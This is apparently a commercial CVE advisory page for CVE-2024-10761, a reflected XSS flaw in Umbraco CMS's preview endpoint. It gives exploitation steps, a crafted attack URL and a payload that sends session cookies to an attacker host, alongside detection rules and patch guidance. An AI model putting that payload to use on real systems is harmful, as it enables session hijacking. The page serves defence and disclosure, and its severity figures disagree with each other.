☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Umbraco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10761

CVE-2024-10761 Cross-Site Scripting in Umbraco
📅 PUBLISHED: 2024-11-04 05:00 UTC 🔄 UPDATED: 2026-10-02 19:32 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.57%
👁️
0.57% probability
14.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Denmark License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10761 is a reflected Cross-Site Scripting (XSS) vulnerability in Umbraco CMS, affecting versions up to 10.7.7, 12.3.6, 13.5.2, 14.3.1, and 15.1.1. The flaw resides in the /Umbraco/preview/frame?id{} endpoint, where the culture argument is not properly sanitized, allowing an attacker to inject arbitrary JavaScript. This can be exploited remotely without authentication, leading to session hijacking, data theft, or defacement. The vendor has released patches in versions 10.8.8, 13.5.3, 14.3.2, and 15.1.2. No public exploit code or Nuclei template is available at this time, but the vulnerability details have been disclosed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Umbraco CMS, which is a .NET-based content management system. It is not an NPM, PyPI, Go, or Ruby package. However, organizations using Umbraco should verify their deployment version and apply the patch immediately.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics (reflected XSS, no authentication required, remote attack vector), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R) – victim must click a crafted link
  • Scope (S): Changed (C) – XSS can impact the user's session
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to the victim's session.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the Umbraco preview frame endpoint. The endpoint /Umbraco/preview/frame?id{} is used to render previews of content. The culture parameter is passed to the server and reflected back in the response without proper encoding or sanitization. An attacker can craft a URL like:

https://target.com/Umbraco/preview/frame?id=123&culture=en-US<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in the context of the Umbraco admin interface, potentially allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

The root cause is insufficient output encoding of the culture parameter in the server-side rendering logic. The fix involves properly encoding the parameter before reflecting it in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a controller or view
string culture = Request.QueryString["culture"];
Response.Write("<div id=\"preview\" data-culture=\"" + culture + "\">");

Patched Code (Conceptual):

// In a controller or view
string culture = Request.QueryString["culture"];
string encodedCulture = System.Web.HttpUtility.HtmlEncode(culture);
Response.Write("<div id=\"preview\" data-culture=\"" + encodedCulture + "\">");

The patch ensures that the culture value is HTML-encoded before being rendered, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Umbraco instance (e.g., version 10.7.7)
  • A web browser or curl

Exploitation Steps:

  1. Identify a vulnerable Umbraco instance.
  2. Craft a malicious URL:
    https://target.com/Umbraco/preview/frame?id=1&culture=en-US<script>alert(document.cookie)</script>
    
  3. Send the URL to an authenticated admin user (e.g., via email or social engineering).
  4. When the victim clicks the link, the script executes, and the attacker can capture cookies or perform actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor web server logs for requests to /Umbraco/preview/frame with unusual culture parameters containing <script> tags or encoded JavaScript.
  • Use WAF rules to block requests with suspicious culture values.

Hunting:

  • Search for logs with patterns like culture=*<script* or culture=*%3Cscript%3E*.
  • Check for outbound connections from the Umbraco server to unknown IPs.

Indicators of Compromise (IOCs)

  • URL Pattern: /Umbraco/preview/frame?id=*&culture=*<script>*
  • Log Entries: HTTP requests to /Umbraco/preview/frame with non-standard culture values.
  • Network Traffic: Outbound HTTP requests from the Umbraco server to attacker-controlled domains (if payload exfiltrates data).
  • File Changes: No file changes expected; this is a reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_10761_Umbraco_XSS {
    meta:
        description = "Detects reflected XSS attempts against Umbraco CMS CVE-2024-10761"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10761"
    strings:
        $url_pattern = "/Umbraco/preview/frame"
        $xss_payload = /culture=[^&]*<script[^>]*>/
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: Umbraco CMS Reflected XSS Attempt
id: 8a3f2c1e-5d7b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-10761 reflected XSS in Umbraco CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: "/Umbraco/preview/frame"
        cs-uri-query|re: "culture=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of culture parameter with script tags (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10761 Umbraco CMS Reflected XSS Attempt"; flow:to_server,established; content:"/Umbraco/preview/frame"; http_uri; pcre:"/culture=[^&]*<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Umbraco CMS to the patched versions: 10.8.8, 13.5.3, 14.3.2, or 15.1.2.
  2. If immediate upgrade is not possible, implement a WAF rule to block requests with suspicious culture parameters.
  3. Restrict access to the /Umbraco/preview/frame endpoint to trusted IPs or require authentication.

Long-term Measures:

  • Implement input validation and output encoding for all user-supplied parameters.
  • Conduct regular security audits and penetration testing.
  • Monitor vendor advisories for future patches.

Workaround:

  • Disable the preview frame functionality if not needed, by modifying the web.config or using URL rewrite rules.

Report generated by Valters IT DevSecOps & CTI Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10761/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.